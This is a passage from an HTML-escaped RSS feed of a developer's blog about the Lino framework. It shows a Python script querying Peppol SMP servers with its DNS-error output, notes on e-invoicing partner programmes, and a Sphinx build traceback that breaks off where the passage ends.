&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;acc.edelivery.tech.ec.europa.eu&amp;#39;&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;edelivery.tech.ec.europa.eu&amp;#39;&lt;/span&gt;

&lt;span class="c1"&gt;# copied from smp.py:&lt;/span&gt;
&lt;span class="c1"&gt;# SMP: domain + path -&amp;gt; xml with service descriptions&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_smp_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# all the available interfaces (invoice, credit note etc.)&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/iso6523-actorid-upis::&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;receiver&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;request from url &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contents&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contents&lt;/span&gt;

&lt;span class="n"&gt;invoice_end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;billing:3.0::2.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_invoice_smp_document&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_contents&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etree&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromstring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_contents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;child&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;el&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;el&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;href&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invoice_end&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;el&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;href&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;extract_as4_information&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_contents&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;invoice_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;find_invoice_smp_document&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_contents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;invoice_smp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invoice_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etree&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromstring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invoice_smp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#id = root.findall(&amp;quot;.//{*}ParticipantIdentifier&amp;quot;)[0].text&lt;/span&gt;
    &lt;span class="n"&gt;as4_endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.//{*}EndpointReference&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
    &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.//{*}Certificate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;as4_endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;


&lt;span class="n"&gt;their_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;9931:EE100588749&amp;quot;&lt;/span&gt;  &lt;span class="c1"&gt;# Rumma &amp;amp; Ko OÜ&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="n"&gt;smp_domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_domain_using_http&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;their_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;smp_domain is &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;smp_domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;smp_contents&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_smp_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;their_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;their_cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_as4_information&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;smp_contents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;their_cert&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#their_certfile = &amp;#39;/tmp/their-cert.pem&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;#with open(their_certfile, &amp;#39;w&amp;#39;) as f:&lt;/span&gt;
&lt;span class="c1"&gt;#    f.write(&amp;#39;-----BEGIN CERTIFICATE-----\n&amp;#39; + their_cert + &amp;#39;\n-----END CERTIFICATE-----&amp;#39;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the output of my script:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;smp_domain&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e0aa140770a8690c4a3512bc5cdfaeb9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iso6523&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;actorid&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;upis&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;edelivery&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tech&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;europa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;
&lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;url&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e0aa140770a8690c4a3512bc5cdfaeb9&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iso6523&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;actorid&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;upis&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;acc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;edelivery&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tech&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;europa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eu&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;iso6523&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;actorid&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;upis&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;9931&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EE100588749&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So basically it builds a URL that requests from
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;acc.edelivery.tech.ec.europa.eu&lt;/span&gt;&lt;/code&gt; but gets an error “Name or service not
known” as response.&lt;/p&gt;
&lt;p&gt;That server (acc.edelivery.tech.ec.europa.eu) seems to exist (at least it has an
IP address) but doesn’t answer to &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ping&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ping acc.edelivery.tech.ec.europa.eu
PING acc.edelivery.tech.ec.europa.eu (147.67.35.45) 56(84) bytes of data.
^C
--- acc.edelivery.tech.ec.europa.eu ping statistics ---
109 packets transmitted, 0 received, 100% packet loss, time 110629ms
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I must be missing something.&lt;/p&gt;
&lt;p&gt;I guess that the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--receiver&lt;/span&gt;&lt;/code&gt; is not my customer (the receiver of the invoice)
but a certified “Service Metadata Publisher” (&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-SMP" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;SMP&lt;/span&gt;&lt;/a&gt;). To become an SMP
they need to &lt;a class="reference external" href="https://peppol.org/join/"&gt;join OpenPeppol AISBL&lt;/a&gt;.
That’s definitively not something my customers will do.&lt;/p&gt;
&lt;p&gt;So these SMPs or APs are certified by Beppol authorities. Every country has a
PEPPOL authority. For Belgium it is BOSA:  &lt;a class="reference external" href="https://bosa.belgium.be"&gt;https://bosa.belgium.be&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And now I see that Hermes is back! I thought that it had vanished!&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://bosa.belgium.be/fr/applications/hermes"&gt;https://bosa.belgium.be/fr/applications/hermes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And my customers in Belgium can probably sign in to Hermes:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://hermes-belgium.be/hermeslogin?lang=fr"&gt;https://hermes-belgium.be/hermeslogin?lang=fr&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next step then is to explore Hermes with my customers and find out how Lino can
upload their XML invoices to it.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1220.html</guid><pubDate>Fri, 20 Dec 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, December 19, 2024</title><link>https://luc.lino-framework.org/blog/2024/1219.html</link><description>&lt;section id="thursday-december-19-2024"&gt;
&lt;h1&gt;Thursday, December 19, 2024&lt;a class="headerlink" href="#thursday-december-19-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Lino can generate a PEPPOL-compliant invoice, i.e. an XML file that follows the
EN 16931-1 standard (&lt;a class="reference external" href="https://dev.lino-framework.org/topics/peppol.html#dg-topics-peppol" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Peppol support (e-Invoicing) in Lino&lt;/span&gt;&lt;/a&gt;). But how is the site user supposed
to do with this file? As far as I understood the system, they must “upload this
file into the PEPPOL network”.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://ec.europa.eu/digital-building-blocks/sites/display/DIGITAL/Compliance+with+eInvoicing+standard"&gt;Compliance with the European standard on eInvoicing. Explaining the standard&lt;/a&gt;
is a good introduction to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-PEPPOL" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;PEPPOL&lt;/span&gt;&lt;/a&gt;.
Interesting, but doesn’t answer my question.&lt;/p&gt;
&lt;p&gt;EESPA, the European Association of E-Invoicing Service Providers, is an
international not-for-profit association (AISBL/IVZW) organised under Belgian
law. And they offer a &lt;a class="reference external" href="https://www.eespa.eu/join-as-a-member"&gt;partner programme&lt;/a&gt;.  But haha, this is obviously not for
Lino: the one-time joining fee is €1000, plus a yearly membership fee which was
€2750 in for 2023.&lt;/p&gt;
&lt;p&gt;A company in Denmark, named Bizbrains A/S, offer a &lt;a class="reference external" href="https://peppol.com/about-peppol-com/partner-programme/"&gt;partner programme&lt;/a&gt; that seems to be
what I need. On their website they write:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Is your company an ERP house, an e-commerce provider or an EDI service
provider (VAN)? Or do you sell products where you need to be able to send
and/or receive PEPPOL invoices? If so, you have much to gain by partnering up
with Peppol.com and establishing a close integration with our PEPPOL services
– via our API, for example. As a Peppol.com partner, you can provide your
users with the opportunity to send and receive e-invoices. We can also handle
transformations between the PEPPOL format and the format you use in-house.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I filled their contact form, we’ll see where this leads.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://github.com/iterasdev/peppol-py"&gt;peppol-py&lt;/a&gt; package might be
interesting. It is a “python implementation for sending peppol eDelivery AS4
documents”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/1219.html</guid><pubDate>Thu, 19 Dec 2024 00:00:00 +0000</pubDate></item><item><title>Sunday, November 24, 2024</title><link>https://luc.lino-framework.org/blog/2024/1124.html</link><description>&lt;section id="sunday-november-24-2024"&gt;
&lt;h1&gt;Sunday, November 24, 2024&lt;a class="headerlink" href="#sunday-november-24-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;When I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;cite&gt;prima&lt;/cite&gt;, I get this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;There&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;programmable&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/pkgutil.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;417&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_importer&lt;/span&gt;
    &lt;span class="n"&gt;importer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path_importer_cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;path_item&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="ne"&gt;KeyError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PosixPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/home/luc/work/prima/docs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.10/site-packages/sphinx/config.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;529&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;eval_config_file&lt;/span&gt;
    &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;namespace&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# NoQA: S102&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/prima/docs/conf.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_prima.projects.prima1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/sphinxcontrib/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
    &lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;django_settings_module&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
